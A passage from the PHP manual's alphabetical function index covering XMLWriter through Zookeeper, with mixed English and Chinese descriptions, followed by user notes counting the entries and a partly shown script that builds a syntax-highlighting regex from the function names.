    • XMLReader::setRelaxNGSchemaSource - Set the data containing a RelaxNG Schema
    • XMLReader::setSchema - Validate document against XSD
    • XMLReader::XML - Set the data containing the XML to parse
    • xmlrpc_decode - 将 XML 译码为 PHP 本身的类型
    • xmlrpc_decode_request - 将 XML 译码为 PHP 本身的类型
    • xmlrpc_encode - 为 PHP 的值生成 XML
    • xmlrpc_encode_request - 为 PHP 的值生成 XML
    • xmlrpc_get_type - 为 PHP 的值获取 xmlrpc 的类型
    • xmlrpc_is_fault - Determines if an array value represents an XMLRPC fault
    • xmlrpc_parse_method_descriptions - 将 XML 译码成方法描述的列表
    • xmlrpc_server_add_introspection_data - 添加自我描述的文档
    • xmlrpc_server_call_method - 解析 XML 请求同时调用方法
    • xmlrpc_server_create - 创建一个 xmlrpc 服务端
    • xmlrpc_server_destroy - 销毁服务端资源
    • xmlrpc_server_register_introspection_callback - 注册一个 PHP 函数用于生成文档
    • xmlrpc_server_register_method - 注册一个 PHP 函数用于匹配 xmlrpc 方法名
    • xmlrpc_set_type - 为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间
    • XMLWriter::endAttribute - End attribute
    • XMLWriter::endCdata - End current CDATA
    • XMLWriter::endComment - Create end comment
    • XMLWriter::endDocument - End current document
    • XMLWriter::endDtd - End current DTD
    • XMLWriter::endDtdAttlist - End current DTD AttList
    • XMLWriter::endDtdElement - End current DTD element
    • XMLWriter::endDtdEntity - End current DTD Entity
    • XMLWriter::endElement - End current element
    • XMLWriter::endPi - End current PI
    • XMLWriter::flush - Flush current buffer
    • XMLWriter::fullEndElement - End current element
    • XMLWriter::openMemory - Create new xmlwriter using memory for string output
    • XMLWriter::openUri - Create new xmlwriter using source uri for output
    • XMLWriter::outputMemory - Returns current buffer
    • XMLWriter::setIndent - Toggle indentation on/off
    • XMLWriter::setIndentString - Set string used for indenting
    • XMLWriter::startAttribute - Create start attribute
    • XMLWriter::startAttributeNs - Create start namespaced attribute
    • XMLWriter::startCdata - Create start CDATA tag
    • XMLWriter::startComment - Create start comment
    • XMLWriter::startDocument - Create document tag
    • XMLWriter::startDtd - Create start DTD tag
    • XMLWriter::startDtdAttlist - Create start DTD AttList
    • XMLWriter::startDtdElement - Create start DTD element
    • XMLWriter::startDtdEntity - Create start DTD Entity
    • XMLWriter::startElement - Create start element tag
    • XMLWriter::startElementNs - Create start namespaced element tag
    • XMLWriter::startPi - Create start PI tag
    • XMLWriter::text - Write text
    • XMLWriter::writeAttribute - Write full attribute
    • XMLWriter::writeAttributeNs - Write full namespaced attribute
    • XMLWriter::writeCdata - Write full CDATA tag
    • XMLWriter::writeComment - Write full comment tag
    • XMLWriter::writeDtd - Write full DTD tag
    • XMLWriter::writeDtdAttlist - Write full DTD AttList tag
    • XMLWriter::writeDtdElement - Write full DTD element tag
    • XMLWriter::writeDtdEntity - Write full DTD Entity tag
    • XMLWriter::writeElement - Write full element tag
    • XMLWriter::writeElementNs - Write full namespaced element tag
    • XMLWriter::writePi - Writes a PI
    • XMLWriter::writeRaw - Write a raw XML text
    • xml_error_string - 获取 XML 解析器的错误字符串
    • xml_get_current_byte_index - 获取 XML 解析器的当前字节索引
    • xml_get_current_column_number - 获取 XML 解析器的当前列号
    • xml_get_current_line_number - 获取 XML 解析器的当前行号
    • xml_get_error_code - 获取 XML 解析器错误代码
    • xml_parse - 开始解析一个 XML 文档
    • xml_parser_create - 建立一个 XML 解析器
    • xml_parser_create_ns - 生成一个支持命名空间的 XML 解析器
    • xml_parser_free - 释放指定的 XML 解析器
    • xml_parser_get_option - 从 XML 解析器获取选项设置信息
    • xml_parser_set_option - 为指定 XML 解析进行选项设置
    • xml_parse_into_struct - 将 XML 数据解析到数组中
    • xml_set_character_data_handler - 建立字符数据处理器
    • xml_set_default_handler - 建立默认处理器
    • xml_set_element_handler - 建立起始和终止元素处理器
    • xml_set_end_namespace_decl_handler - 建立终止命名空间声明处理器
    • xml_set_external_entity_ref_handler - 建立外部实体指向处理器
    • xml_set_notation_decl_handler - 建立注释声明处理器
    • xml_set_object - 在对象中使用 XML 解析器
    • xml_set_processing_instruction_handler - 建立处理指令（PI）处理器
    • xml_set_start_namespace_decl_handler - 建立起始命名空间声明处理器
    • xml_set_unparsed_entity_decl_handler - 建立未解析实体定义声明处理器
    • XSession::__construct - Description constructor
    • XSLTProcessor::getParameter - Get value of a parameter
    • XSLTProcessor::getSecurityPrefs - Get security preferences
    • XSLTProcessor::hasExsltSupport - Determine if PHP has EXSLT support
    • XSLTProcessor::importStylesheet - Import stylesheet
    • XSLTProcessor::registerPHPFunctions - Enables the ability to use PHP functions as XSLT functions
    • XSLTProcessor::removeParameter - Remove parameter
    • XSLTProcessor::setParameter - Set value for a parameter
    • XSLTProcessor::setProfiling - Sets profiling output file
    • XSLTProcessor::setSecurityPrefs - Set security preferences
    • XSLTProcessor::transformToDoc - Transform to a DOMDocument
    • XSLTProcessor::transformToUri - Transform to URI
    • XSLTProcessor::transformToXml - Transform to XML
    • XSLTProcessor::__construct - Creates a new XSLTProcessor object
  • y
    • Yaconf::get - Retrieve a item
    • Yaconf::has - Determine if a item exists
    • Yaf_Action_Abstract::execute - 执行动作
    • Yaf_Action_Abstract::getController - 得到控制器实例
    • Yaf_Application::app - 获取当前的Yaf_Application实例
    • Yaf_Application::bootstrap - 调用bootstrap
    • Yaf_Application::clearLastError - 清除最后的错误信息
    • Yaf_Application::environ - 获取当前Yaf_Application的环境名
    • Yaf_Application::execute - 运行回调函数
    • Yaf_Application::getAppDirectory - 获取应用的目录
    • Yaf_Application::getConfig - 获取 Yaf_Config_Abstract 的实例
    • Yaf_Application::getDispatcher - 获取 Yaf_Dispatcher 的实例
    • Yaf_Application::getLastErrorMsg - 获取最近产生的错误的错误信息
    • Yaf_Application::getLastErrorNo - 获取最后产生的错误的错误代码
    • Yaf_Application::getModules - 获取在配置文件中申明的模块
    • Yaf_Application::run - 运行 Yaf_Application
    • Yaf_Application::setAppDirectory - 改变应用目录
    • Yaf_Application::__clone - Yaf_Application不能被克隆
    • Yaf_Application::__construct - Yaf_Application的构造函数
    • Yaf_Application::__destruct - 析构函数
    • Yaf_Application::__sleep - Yaf_Application 不能被序列化
    • Yaf_Application::__wakeup - Yaf_Application 不能被反序列化
    • Yaf_Config_Abstract::get - Getter
    • Yaf_Config_Abstract::readonly - 寻找只读配置
    • Yaf_Config_Abstract::set - Setter
    • Yaf_Config_Abstract::toArray - 转换为数组
    • Yaf_Config_Ini::count - 返回配置的节数量
    • Yaf_Config_Ini::current - 返回当前节点
    • Yaf_Config_Ini::key - 返回当前元素的键
    • Yaf_Config_Ini::next - 向前移动到下一个元素
    • Yaf_Config_Ini::offsetExists - 检查一个偏移位置是否存在
    • Yaf_Config_Ini::offsetGet - 获取一个偏移位置的值
    • Yaf_Config_Ini::offsetSet - 设置一个偏移位置的值
    • Yaf_Config_Ini::offsetUnset - 复位一个偏移位置的值
    • Yaf_Config_Ini::readonly - 检查配置是否只读
    • Yaf_Config_Ini::rewind - 检查当前位置是否有效
    • Yaf_Config_Ini::toArray - 转换为数组的格式
    • Yaf_Config_Ini::valid - 检查迭代器是否有效
    • Yaf_Config_Ini::__construct - 构造函数
    • Yaf_Config_Ini::__get - 读取节点配置
    • Yaf_Config_Ini::__isset - 检查节点是否存在
    • Yaf_Config_Ini::__set - The __set purpose
    • Yaf_Config_Simple::count - 返回配置的节数量
    • Yaf_Config_Simple::current - 返回当前节点
    • Yaf_Config_Simple::key - 返回当前元素的键
    • Yaf_Config_Simple::next - 向前移动到下一个元素
    • Yaf_Config_Simple::offsetExists - 检查一个偏移位置是否存在
    • Yaf_Config_Simple::offsetGet - 获取一个偏移位置的值
    • Yaf_Config_Simple::offsetSet - 设置一个偏移位置的值
    • Yaf_Config_Simple::offsetUnset - 复位一个偏移位置的值
    • Yaf_Config_Simple::readonly - 检查配置是否只读
    • Yaf_Config_Simple::rewind - 检查当前位置是否有效
    • Yaf_Config_Simple::toArray - 转换为数组的格式
    • Yaf_Config_Simple::valid - 检查迭代器是否有效
    • Yaf_Config_Simple::__construct - 构造函数
    • Yaf_Config_Simple::__get - 读取节点配置
    • Yaf_Config_Simple::__isset - 检查节点是否存在
    • Yaf_Config_Simple::__set - 设置节点配置
    • Yaf_Controller_Abstract::display - The display purpose
    • Yaf_Controller_Abstract::forward - The forward purpose
    • Yaf_Controller_Abstract::getInvokeArg - The getInvokeArg purpose
    • Yaf_Controller_Abstract::getInvokeArgs - The getInvokeArgs purpose
    • Yaf_Controller_Abstract::getModuleName - 获取当前控制器所属的模块名
    • Yaf_Controller_Abstract::getRequest - The getRequest purpose
    • Yaf_Controller_Abstract::getResponse - The getResponse purpose
    • Yaf_Controller_Abstract::getView - 获取当前的视图引擎
    • Yaf_Controller_Abstract::getViewpath - The getViewpath purpose
    • Yaf_Controller_Abstract::init - 控制器初始化
    • Yaf_Controller_Abstract::initView - The initView purpose
    • Yaf_Controller_Abstract::redirect - The redirect purpose
    • Yaf_Controller_Abstract::render - 渲染视图模板
    • Yaf_Controller_Abstract::setViewpath - The setViewpath purpose
    • Yaf_Controller_Abstract::__clone - Yaf_Controller_Abstract 不能被克隆
    • Yaf_Controller_Abstract::__construct - Yaf_Controller_Abstract constructor
    • Yaf_Dispatcher::autoRender - 开启/关闭自动渲染功能
    • Yaf_Dispatcher::catchException - 开启/关闭自动异常捕获功能
    • Yaf_Dispatcher::disableView - 关闭自动渲染
    • Yaf_Dispatcher::dispatch - 分发请求
    • Yaf_Dispatcher::enableView - 开启自动渲染
    • Yaf_Dispatcher::flushInstantly - 打开关闭自动响应
    • Yaf_Dispatcher::getApplication - 获取当前的Yaf_Application实例
    • Yaf_Dispatcher::getInstance - 获取当前的Yaf_Dispatcher实例
    • Yaf_Dispatcher::getRequest - 获取当前的请求实例
    • Yaf_Dispatcher::getRouter - 获取路由器
    • Yaf_Dispatcher::initView - 初始化视图引擎并返回它
    • Yaf_Dispatcher::registerPlugin - 注册一个插件
    • Yaf_Dispatcher::returnResponse - The returnResponse purpose
    • Yaf_Dispatcher::setDefaultAction - 设置路由的默认动作
    • Yaf_Dispatcher::setDefaultController - 设置路由的默认控制器
    • Yaf_Dispatcher::setDefaultModule - 设置路由的默认模块
    • Yaf_Dispatcher::setErrorHandler - 设置错误处理函数
    • Yaf_Dispatcher::setRequest - The setRequest purpose
    • Yaf_Dispatcher::setView - 设置视图引擎
    • Yaf_Dispatcher::throwException - 开启/关闭异常抛出
    • Yaf_Dispatcher::__clone - Yaf_Dispatcher 不能被克隆
    • Yaf_Dispatcher::__construct - Yaf_Dispatcher 构造函数
    • Yaf_Dispatcher::__sleep - Yaf_Dispatcher 不能被序列化
    • Yaf_Dispatcher::__wakeup - Yaf_Dispatcher 不能被反序列化
    • Yaf_Exception::getPrevious - The getPrevious purpose
    • Yaf_Exception::__construct - The __construct purpose
    • Yaf_Loader::autoload - The autoload purpose
    • Yaf_Loader::clearLocalNamespace - The clearLocalNamespace purpose
    • Yaf_Loader::getInstance - The getInstance purpose
    • Yaf_Loader::getLibraryPath - get the library path
    • Yaf_Loader::getLocalNamespace - The getLocalNamespace purpose
    • Yaf_Loader::import - The import purpose
    • Yaf_Loader::isLocalName - The isLocalName purpose
    • Yaf_Loader::registerLocalNamespace - 注册本地类前缀
    • Yaf_Loader::setLibraryPath - 改变library路径
    • Yaf_Loader::__clone - The __clone purpose
    • Yaf_Loader::__construct - The __construct purpose
    • Yaf_Loader::__sleep - The __sleep purpose
    • Yaf_Loader::__wakeup - The __wakeup purpose
    • Yaf_Plugin_Abstract::dispatchLoopShutdown - The dispatchLoopShutdown purpose
    • Yaf_Plugin_Abstract::dispatchLoopStartup - The dispatchLoopStartup purpose
    • Yaf_Plugin_Abstract::postDispatch - The postDispatch purpose
    • Yaf_Plugin_Abstract::preDispatch - The preDispatch purpose
    • Yaf_Plugin_Abstract::preResponse - The preResponse purpose
    • Yaf_Plugin_Abstract::routerShutdown - The routerShutdown purpose
    • Yaf_Plugin_Abstract::routerStartup - RouterStartup hook
    • Yaf_Registry::del - Remove an item from registry
    • Yaf_Registry::get - Retrieve an item from registry
    • Yaf_Registry::has - Check whether an item exists
    • Yaf_Registry::set - Add an item into registry
    • Yaf_Registry::__clone - The __clone purpose
    • Yaf_Registry::__construct - Yaf_Registry implements singleton
    • Yaf_Request_Abstract::getActionName - The getActionName purpose
    • Yaf_Request_Abstract::getBaseUri - The getBaseUri purpose
    • Yaf_Request_Abstract::getControllerName - The getControllerName purpose
    • Yaf_Request_Abstract::getEnv - 取得ENV变量的值
    • Yaf_Request_Abstract::getException - The getException purpose
    • Yaf_Request_Abstract::getLanguage - The getLanguage purpose
    • Yaf_Request_Abstract::getMethod - The getMethod purpose
    • Yaf_Request_Abstract::getModuleName - The getModuleName purpose
    • Yaf_Request_Abstract::getParam - The getParam purpose
    • Yaf_Request_Abstract::getParams - The getParams purpose
    • Yaf_Request_Abstract::getRequestUri - The getRequestUri purpose
    • Yaf_Request_Abstract::getServer - 返回SERVER变量的值
    • Yaf_Request_Abstract::isCli - The isCli purpose
    • Yaf_Request_Abstract::isDispatched - The isDispatched purpose
    • Yaf_Request_Abstract::isGet - The isGet purpose
    • Yaf_Request_Abstract::isHead - The isHead purpose
    • Yaf_Request_Abstract::isOptions - The isOptions purpose
    • Yaf_Request_Abstract::isPost - The isPost purpose
    • Yaf_Request_Abstract::isPut - The isPut purpose
    • Yaf_Request_Abstract::isRouted - The isRouted purpose
    • Yaf_Request_Abstract::isXmlHttpRequest - The isXmlHttpRequest purpose
    • Yaf_Request_Abstract::setActionName - The setActionName purpose
    • Yaf_Request_Abstract::setBaseUri - The setBaseUri purpose
    • Yaf_Request_Abstract::setControllerName - The setControllerName purpose
    • Yaf_Request_Abstract::setDispatched - The setDispatched purpose
    • Yaf_Request_Abstract::setModuleName - The setModuleName purpose
    • Yaf_Request_Abstract::setParam - The setParam purpose
    • Yaf_Request_Abstract::setRequestUri - The setRequestUri purpose
    • Yaf_Request_Abstract::setRouted - The setRouted purpose
    • Yaf_Request_Http::get - 从客户端返回变量
    • Yaf_Request_Http::getCookie - 返回Cookie变量
    • Yaf_Request_Http::getFiles - The getFiles purpose
    • Yaf_Request_Http::getPost - 返回POST变量
    • Yaf_Request_Http::getQuery - fetch a query parameter
    • Yaf_Request_Http::getRaw - Retrieve Raw request body
    • Yaf_Request_Http::getRequest - The getRequest purpose
    • Yaf_Request_Http::isXmlHttpRequest - 是否为Ajax请求
    • Yaf_Request_Http::__clone - The __clone purpose
    • Yaf_Request_Http::__construct - The __construct purpose
    • Yaf_Request_Simple::get - The get purpose
    • Yaf_Request_Simple::getCookie - The getCookie purpose
    • Yaf_Request_Simple::getFiles - The getFiles purpose
    • Yaf_Request_Simple::getPost - The getPost purpose
    • Yaf_Request_Simple::getQuery - The getQuery purpose
    • Yaf_Request_Simple::getRequest - The getRequest purpose
    • Yaf_Request_Simple::isXmlHttpRequest - The isXmlHttpRequest purpose
    • Yaf_Request_Simple::__clone - The __clone purpose
    • Yaf_Request_Simple::__construct - The __construct purpose
    • Yaf_Response_Abstract::appendBody - 往已有的响应body后附加新的内容
    • Yaf_Response_Abstract::clearBody - 清除已经设置的响应body
    • Yaf_Response_Abstract::clearHeaders - The clearHeaders purpose
    • Yaf_Response_Abstract::getBody - 获取已经设置的响应body
    • Yaf_Response_Abstract::getHeader - The getHeader purpose
    • Yaf_Response_Abstract::prependBody - The prependBody purpose
    • Yaf_Response_Abstract::response - send response
    • Yaf_Response_Abstract::setAllHeaders - The setAllHeaders purpose
    • Yaf_Response_Abstract::setBody - 设置响应的Body
    • Yaf_Response_Abstract::setHeader - The setHeader purpose
    • Yaf_Response_Abstract::setRedirect - The setRedirect purpose
    • Yaf_Response_Abstract::__clone - The __clone purpose
    • Yaf_Response_Abstract::__construct - The __construct purpose
    • Yaf_Response_Abstract::__destruct - The __destruct purpose
    • Yaf_Response_Abstract::__toString - The __toString purpose
    • Yaf_Router::addConfig - 向Router中添加配置文件中定义的路由
    • Yaf_Router::addRoute - 往Router中添加新的路由
    • Yaf_Router::getCurrentRoute - 取得当前有效的路由名
    • Yaf_Router::getRoute - The getRoute purpose
    • Yaf_Router::getRoutes - The getRoutes purpose
    • Yaf_Router::route - The route purpose
    • Yaf_Router::__construct - Yaf_Router constructor
    • Yaf_Route_Interface::assemble - 将指定路由规则组合成一个url
    • Yaf_Route_Interface::route - route a request
    • Yaf_Route_Map::assemble - 组合url
    • Yaf_Route_Map::route - The route purpose
    • Yaf_Route_Map::__construct - The __construct purpose
    • Yaf_Route_Regex::assemble - 组合url
    • Yaf_Route_Regex::route - The route purpose
    • Yaf_Route_Regex::__construct - The __construct purpose
    • Yaf_Route_Rewrite::assemble - 组合url
    • Yaf_Route_Rewrite::route - The route purpose
    • Yaf_Route_Rewrite::__construct - The __construct purpose
    • Yaf_Route_Simple::assemble - 组合url
    • Yaf_Route_Simple::route - Route a request
    • Yaf_Route_Simple::__construct - Yaf_Route_Simple constructor
    • Yaf_Route_Static::assemble - 组合url
    • Yaf_Route_Static::match - The match purpose
    • Yaf_Route_Static::route - Route a request
    • Yaf_Route_Supervar::assemble - 组合url
    • Yaf_Route_Supervar::route - The route purpose
    • Yaf_Route_Supervar::__construct - The __construct purpose
    • Yaf_Session::count - The count purpose
    • Yaf_Session::current - The current purpose
    • Yaf_Session::del - The del purpose
    • Yaf_Session::getInstance - The getInstance purpose
    • Yaf_Session::has - The has purpose
    • Yaf_Session::key - The key purpose
    • Yaf_Session::next - The next purpose
    • Yaf_Session::offsetExists - The offsetExists purpose
    • Yaf_Session::offsetGet - The offsetGet purpose
    • Yaf_Session::offsetSet - The offsetSet purpose
    • Yaf_Session::offsetUnset - The offsetUnset purpose
    • Yaf_Session::rewind - The rewind purpose
    • Yaf_Session::start - The start purpose
    • Yaf_Session::valid - The valid purpose
    • Yaf_Session::__clone - The __clone purpose
    • Yaf_Session::__construct - The __construct purpose
    • Yaf_Session::__get - The __get purpose
    • Yaf_Session::__isset - The __isset purpose
    • Yaf_Session::__set - The __set purpose
    • Yaf_Session::__sleep - The __sleep purpose
    • Yaf_Session::__unset - The __unset purpose
    • Yaf_Session::__wakeup - The __wakeup purpose
    • Yaf_View_Interface::assign - 为视图引擎分配一个模板变量
    • Yaf_View_Interface::display - 渲染一个视图模板, 并直接输出给请求端
    • Yaf_View_Interface::getScriptPath - The getScriptPath purpose
    • Yaf_View_Interface::render - 渲染一个视图模板
    • Yaf_View_Interface::setScriptPath - The setScriptPath purpose
    • Yaf_View_Simple::assign - 为视图引擎分配一个模板变量
    • Yaf_View_Simple::assignRef - The assignRef purpose
    • Yaf_View_Simple::clear - Clear Assigned values
    • Yaf_View_Simple::display - 渲染一个视图模板, 并直接输出给请求端
    • Yaf_View_Simple::eval - 渲染模板
    • Yaf_View_Simple::getScriptPath - 获取模板目录
    • Yaf_View_Simple::render - 渲染模板
    • Yaf_View_Simple::setScriptPath - 设置模板的目录
    • Yaf_View_Simple::__construct - Constructor of Yaf_View_Simple
    • Yaf_View_Simple::__get - 获取视图引擎的一个模板变量值
    • Yaf_View_Simple::__isset - The __isset purpose
    • Yaf_View_Simple::__set - 为视图引擎分配一个模板变量
    • yaml_emit - Returns the YAML representation of a value
    • yaml_emit_file - Send the YAML representation of a value to a file
    • yaml_parse - Parse a YAML stream
    • yaml_parse_file - Parse a YAML stream from a file
    • yaml_parse_url - Parse a Yaml stream from a URL
    • Yar_Client::setOpt - 设置调用的配置
    • Yar_Client::__call - 调用远程服务
    • Yar_Client::__construct - 创建一个客户端实例
    • Yar_Client_Exception::getType - The getType purpose
    • Yar_Concurrent_Client::call - 注册一个并行的服务调用
    • Yar_Concurrent_Client::loop - 发送所有注册的并行调用
    • Yar_Server::handle - 启动HTTP RPC Server
    • Yar_Server::__construct - 创建一个HTTP RPC Server
    • Yar_Server_Exception::getType - 获取异常的原始类型
    • yaz_addinfo - Returns additional error information
    • yaz_ccl_conf - Configure CCL parser
    • yaz_ccl_parse - Invoke CCL Parser
    • yaz_close - Close YAZ connection
    • yaz_connect - Prepares for a connection to a Z39.50 server
    • yaz_database - Specifies the databases within a session
    • yaz_element - Specifies Element-Set Name for retrieval
    • yaz_errno - Returns error number
    • yaz_error - Returns error description
    • yaz_es - Prepares for an Extended Service Request
    • yaz_es_result - Inspects Extended Services Result
    • yaz_get_option - Returns value of option for connection
    • yaz_hits - Returns number of hits for last search
    • yaz_itemorder - Prepares for Z39.50 Item Order with an ILL-Request package
    • yaz_present - Prepares for retrieval (Z39.50 present)
    • yaz_range - Specifies a range of records to retrieve
    • yaz_record - Returns a record
    • yaz_scan - Prepares for a scan
    • yaz_scan_result - Returns Scan Response result
    • yaz_schema - Specifies schema for retrieval
    • yaz_search - Prepares for a search
    • yaz_set_option - Sets one or more options for connection
    • yaz_sort - Sets sorting criteria
    • yaz_syntax - Specifies the preferred record syntax for retrieval
    • yaz_wait - Wait for Z39.50 requests to complete
    • yp_all - Traverse the map and call a function on each entry
    • yp_cat - Return an array containing the entire map
    • yp_errno - Returns the error code of the previous operation
    • yp_err_string - Returns the error string associated with the given error code
    • yp_first - Returns the first key-value pair from the named map
    • yp_get_default_domain - Fetches the machine's default NIS domain
    • yp_master - Returns the machine name of the master NIS server for a map
    • yp_match - Returns the matched line
    • yp_next - Returns the next key-value pair in the named map
    • yp_order - Returns the order number for a map
  • z
    • zend_logo_guid - 获取 Zend guid
    • zend_thread_id - 返回当前线程的唯一识别符
    • zend_version - 获取当前 Zend 引擎的版本
    • ZipArchive::addEmptyDir - Add a new directory
    • ZipArchive::addFile - Adds a file to a ZIP archive from the given path
    • ZipArchive::addFromString - Add a file to a ZIP archive using its contents
    • ZipArchive::addGlob - Add files from a directory by glob pattern
    • ZipArchive::addPattern - Add files from a directory by PCRE pattern
    • ZipArchive::close - Close the active archive (opened or newly created)
    • ZipArchive::count - Counts the number of files in the achive
    • ZipArchive::deleteIndex - Delete an entry in the archive using its index
    • ZipArchive::deleteName - Delete an entry in the archive using its name
    • ZipArchive::extractTo - 解压缩文件
    • ZipArchive::getArchiveComment - Returns the Zip archive comment
    • ZipArchive::getCommentIndex - Returns the comment of an entry using the entry index
    • ZipArchive::getCommentName - Returns the comment of an entry using the entry name
    • ZipArchive::getExternalAttributesIndex - Retrieve the external attributes of an entry defined by its index
    • ZipArchive::getExternalAttributesName - Retrieve the external attributes of an entry defined by its name
    • ZipArchive::getFromIndex - Returns the entry contents using its index
    • ZipArchive::getFromName - Returns the entry contents using its name
    • ZipArchive::getNameIndex - Returns the name of an entry using its index
    • ZipArchive::getStatusString - Returns the status error message, system and/or zip messages
    • ZipArchive::getStream - Get a file handler to the entry defined by its name (read only)
    • ZipArchive::locateName - Returns the index of the entry in the archive
    • ZipArchive::open - Open a ZIP file archive
    • ZipArchive::renameIndex - Renames an entry defined by its index
    • ZipArchive::renameName - Renames an entry defined by its name
    • ZipArchive::setArchiveComment - Set the comment of a ZIP archive
    • ZipArchive::setCommentIndex - Set the comment of an entry defined by its index
    • ZipArchive::setCommentName - Set the comment of an entry defined by its name
    • ZipArchive::setCompressionIndex - Set the compression method of an entry defined by its index
    • ZipArchive::setCompressionName - Set the compression method of an entry defined by its name
    • ZipArchive::setEncryptionIndex - Set the encryption method of an entry defined by its index
    • ZipArchive::setEncryptionName - Set the encryption method of an entry defined by its name
    • ZipArchive::setExternalAttributesIndex - Set the external attributes of an entry defined by its index
    • ZipArchive::setExternalAttributesName - Set the external attributes of an entry defined by its name
    • ZipArchive::setPassword - Set the password for the active archive
    • ZipArchive::statIndex - Get the details of an entry defined by its index
    • ZipArchive::statName - Get the details of an entry defined by its name
    • ZipArchive::unchangeAll - Undo all changes done in the archive
    • ZipArchive::unchangeArchive - Revert all global changes done in the archive
    • ZipArchive::unchangeIndex - Revert all changes done to an entry at the given index
    • ZipArchive::unchangeName - Revert all changes done to an entry with the given name
    • zip_close - 关闭一个ZIP档案文件
    • zip_entry_close - 关闭目录项
    • zip_entry_compressedsize - 检索目录项压缩过后的大小
    • zip_entry_compressionmethod - 检索目录实体的压缩方法
    • zip_entry_filesize - 检索目录实体的实际大小
    • zip_entry_name - 检索目录项的名称
    • zip_entry_open - 打开用于读取的目录实体
    • zip_entry_read - 读取一个打开了的压缩目录实体
    • zip_open - 打开ZIP存档文件
    • zip_read - 读取ZIP存档文件中下一项
    • zlib:// - 压缩流
    • zlib_decode - Uncompress any raw/gzip/zlib encoded data
    • zlib_encode - Compress data with the specified encoding
    • zlib_get_coding_type - Returns the coding type used for output compression
    • ZMQ::__construct - ZMQ constructor
    • ZMQContext::getOpt - Get context option
    • ZMQContext::getSocket - Create a new socket
    • ZMQContext::isPersistent - Whether the context is persistent
    • ZMQContext::setOpt - Set a socket option
    • ZMQContext::__construct - Construct a new ZMQContext object
    • ZMQDevice::getIdleTimeout - Get the idle timeout
    • ZMQDevice::getTimerTimeout - Get the timer timeout
    • ZMQDevice::run - Run the new device
    • ZMQDevice::setIdleCallback - Set the idle callback function
    • ZMQDevice::setIdleTimeout - Set the idle timeout
    • ZMQDevice::setTimerCallback - Set the timer callback function
    • ZMQDevice::setTimerTimeout - Set the timer timeout
    • ZMQDevice::__construct - Construct a new device
    • ZMQPoll::add - Add item to the poll set
    • ZMQPoll::clear - Clear the poll set
    • ZMQPoll::count - Count items in the poll set
    • ZMQPoll::getLastErrors - Get poll errors
    • ZMQPoll::poll - Poll the items
    • ZMQPoll::remove - Remove item from poll set
    • ZMQSocket::bind - Bind the socket
    • ZMQSocket::connect - Connect the socket
    • ZMQSocket::disconnect - Disconnect a socket
    • ZMQSocket::getEndpoints - Get list of endpoints
    • ZMQSocket::getPersistentId - Get the persistent id
    • ZMQSocket::getSocketType - Get the socket type
    • ZMQSocket::getSockOpt - Get socket option
    • ZMQSocket::isPersistent - Whether the socket is persistent
    • ZMQSocket::recv - Receives a message
    • ZMQSocket::recvMulti - Receives a multipart message
    • ZMQSocket::send - Sends a message
    • ZMQSocket::sendmulti - Sends a multipart message
    • ZMQSocket::setSockOpt - Set a socket option
    • ZMQSocket::unbind - Unbind the socket
    • ZMQSocket::__construct - Construct a new ZMQSocket
    • Zookeeper::addAuth - Specify application credentials
    • Zookeeper::close - Close the zookeeper handle and free up any resources
    • Zookeeper::connect - Create a handle to used communicate with zookeeper
    • Zookeeper::create - Create a node synchronously
    • Zookeeper::delete - Delete a node in zookeeper synchronously
    • Zookeeper::exists - Checks the existence of a node in zookeeper synchronously
    • Zookeeper::get - Gets the data associated with a node synchronously
    • Zookeeper::getAcl - Gets the acl associated with a node synchronously
    • Zookeeper::getChildren - Lists the children of a node synchronously
    • Zookeeper::getClientId - Return the client session id, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE)
    • Zookeeper::getConfig - Get instance of ZookeeperConfig
    • Zookeeper::getRecvTimeout - Return the timeout for this session, only valid if the connections is currently connected (ie. last watcher state is ZOO_CONNECTED_STATE). This value may change after a server re-connect
    • Zookeeper::getState - Get the state of the zookeeper connection
    • Zookeeper::isRecoverable - Checks if the current zookeeper connection state can be recovered
    • Zookeeper::set - Sets the data associated with a node
    • Zookeeper::setAcl - Sets the acl associated with a node synchronously
    • Zookeeper::setDebugLevel - Sets the debugging level for the library
    • Zookeeper::setDeterministicConnOrder - Enable/disable quorum endpoint order randomization
    • Zookeeper::setLogStream - Sets the stream to be used by the library for logging
    • Zookeeper::setWatcher - Set a watcher function
    • Zookeeper::__construct - Create a handle to used communicate with zookeeper
    • ZookeeperConfig::add - Add servers to the ensemble
    • ZookeeperConfig::get - Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
    • ZookeeperConfig::remove - Remove servers from the ensemble
    • ZookeeperConfig::set - Change ZK cluster ensemble membership and roles of ensemble peers
    • zookeeper_dispatch - Calls callbacks for pending operations
  • _
    • __autoload - 尝试加载未定义的类
    • __halt_compiler - 中断编译器的执行
  • ?
    • 套接字上下文选项 - 套接字上下文选项列表

User Contributed Notes

tudorsfatosu at yahoo dot dot com 20-Jun-2019 01:18
A new update regarding the number of entries in the list. We are currently at 11033 entries, in June 2019
crabovwik at yandex dot ru 07-Jan-2019 04:40
Today 07-01-2019 [dd.mm.yyyy]

10934 functions in this list ??
valbou26 at hotmail dot com 13-Apr-2018 09:29
Today : 2018-04-13
10641 functions in this list !

Keep growing ;)
Pieter Bootsma 10-Nov-2017 10:11
As of today, 10-11-2017 [dd-mm-yyyy], there are exactly 10102 functions listed above.
Geordy James 21-Apr-2017 06:18
In case anybody wondering as of 21/04/2017 [dd/mm/yyyy] there are exactly 9957 Functions listed above.
php at vanviegen dot net 14-Feb-2017 08:23
Here's a little script that scrapes all PHP function names from this page, and outputs a prefix-compressed Perl Compatible Regular Expression matching them. Useful for syntax highlighting.

<?php

$html = file_get_contents('http://php.net/manual/en/indexes.functions.php');

preg_match_all('/<li><a href="function.[^>]*>([a-zA-Z0-9_]*)<\/a>/', $html, $matches);
$funcs = $matches[1];

print '\b(?:';
$prefixes = [''];

foreach($funcs as $i => $func) {
    while(substr($func, 0, strlen($prefixes[0])) !== $prefixes[0]) {
        print ")";
        array_shift($prefixes);
    }
    if ($i) print '|';

    while(true) {
        $common = $func;
        for($j = $i+1; $j < count($funcs); $j++) {
            $lookAhead = $funcs[$j];
            $maxLen = min(strlen($lookAhead), strlen($func));
            for($ch = 0; $ch < $maxLen; $ch++) {
                if ($lookAhead[$ch] !== $func[$ch]) break;
            }
            $newCommon = substr($common, 0, $ch);
            if (strlen($newCommon) < strlen($prefixes[0])+2) break;
            $common = $newCommon;
        }
        if ($j < $i+4) break; // at least 4 functions with a common prefix of at least 2 chars
        print substr($common, strlen($prefixes[0])) . "(?:";
